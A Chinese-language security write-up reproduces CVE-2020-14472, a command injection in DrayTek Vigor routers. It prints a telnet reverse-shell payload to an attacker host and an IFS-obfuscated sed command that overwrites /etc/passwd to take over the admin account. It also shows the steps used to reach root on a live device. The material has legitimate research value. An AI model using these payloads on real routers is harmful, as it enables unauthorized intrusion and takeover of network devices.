Vigor2960漏洞复现(CVE-2020-14472)

lxonz  293天前

作者:lxonz@白帽汇安全研究院    kejaly@白帽汇安全研究院

影响产品:DrayTek Vigor 2960 / 3900 / 300B

固件:<1.5.1.1版本

漏洞原理:该漏洞有两个条件,首先要开启SMS登录,其次要知道用户的电话号码,发送post请求即可实现命令注入。

POC参考文章:https://github.com/Cossack9989/Vulns/blob/master/IoT/CVE-2020-14472.md

1.环境搭建

因为本地调试出现了种种问题,因此使用真机vigor2960进行漏洞复现

在FOFA中大概定位了全球设备数

fofa.png

主界面.png

vigor登录界面,在同事的指点下找到了CVE-2020-8515,具体的漏洞分析可以参考这篇文章https://www.hayasec.me/2020/03/31/cve-2020-8515/,8515是通过keypath进行字符串拼接从而造成的命令执行,通过这个漏洞我们可以先弹个shell回来,在弹shell之前,我们先将固件解包,看看他的文件系统是怎么样的。

常见的固件解包方案都是使用binwalk,但此次的固件是.all后缀,不太清楚binwalk要怎么解,因此采用了ubi_reader进行解包:

ubi_reader的github链接在这里https://github.com/jrspruitt/ubi_reader

解包命令:

ubireader_extract_images Vigor2960_v1.5.0.all

文件系统.png

解包之后发现其存在wget和telnet,所以弹shell可以采用telnet去弹shell,也可以使用msf生成的arm可执行文件去弹shell。

telnet弹shell的payload:

mknod backpipe p && telnet attackerip 8080 0<backpipe | /bin/bash 1>backpipe

参考这篇文章:

https://zerokeeper.com/experience/a-variety-of-environmental-rebound-shell-method.html

弹shell的效果.png

2.漏洞分析

下面我们分析固件,根据poc文章提示,漏洞点在/www/cgi-bin/mainfunction.cgi,直接将他扔进IDA进行分析,通过字符串搜索定位到关键函数sub_2B238

先获取了几个值

password.png

漏洞点.png

发现此函数会生成一个sms_phone_auth,并执行命令sh /usr/sbin/portal_opt_send.sh拼接V34放到sub_21558执行命令,sub_21558即是popen。

在实际操作中未发现目标有生成/var/sms_phone_auth,说明目标没启动SMS服务,由于未获得web管理界面的权限,所以我们转换思路,先进入后台管理界面启动SMS再进行CVE利用,搜索字符串passwd寻找后台的密码文件定位到函数sub_2116C。

密码.png

passwd.png

一开始以为他是将/etc/passwd复制到了另外一个地方,后来看到了sub_2A7E4,经过分析发现他是

通过getpwnam getgrent crypt三个函数配合验证账户和密码是否正确,而他默认索引密码的是从/etc/passwd中获取的。

接下来我们只需拿openssl生成一个加密后的密码,覆盖即可

openssl passwd -1 -salt 'user' admin
sed${IFS}-i${IFS}'s/^admin.*/admin:\$1$user\$91Iq45sh\.88nvE2gROHVn0:500:500:admin:\/tmp:\/usr\/bin\/clish/g'${IFS}/etc/passwd

进入管理界面

2960.png

接下来我们按照Vigor官方的说明文档,将SMS开启,参考文档https://www.draytek.com.tw/support/knowledge-base/5564

启动之后,按照系统引导,输入手机号码,成功在12345678和123123123即是我们的电话号码,启动了SMS也有了电话号码,下一步可以使用POC了。

sms.png

image.png

注意这里引号要闭合,否则无法命令执行。

执行完之后由于没有回显,因此我们直接在路由器的告警信息里进行验证。

huixian.png

可以看到uid=0(root) gid=0(root)利用成功。

参考链接:

[1]https://github.com/Cossack9989/Vulns/blob/master/IoT/CVE-2020-14472.md

[2]https://zerokeeper.com/experience/a-variety-of-environmental-rebound-shell-method.html

[3]https://www.hayasec.me/2020/03/31/cve-2020-8515/

[4]https://www.draytek.com.tw/support/knowledge-ba se/5564

[5]https://github.com/jrspruitt/ubi_reader

白帽汇从事信息安全,专注于安全大数据、企业威胁情报。

公司产品:FOFA-网络空间安全搜索引擎、FOEYE-网络空间检索系统、NOSEC-安全讯息平台。

为您提供:网络空间测绘、企业资产收集、企业威胁情报、应急响应服务。

本文为白帽汇原创文章,如需转载请注明来源:https://nosec.org/home/detail/4631.html

最新评论

昵称
邮箱
提交评论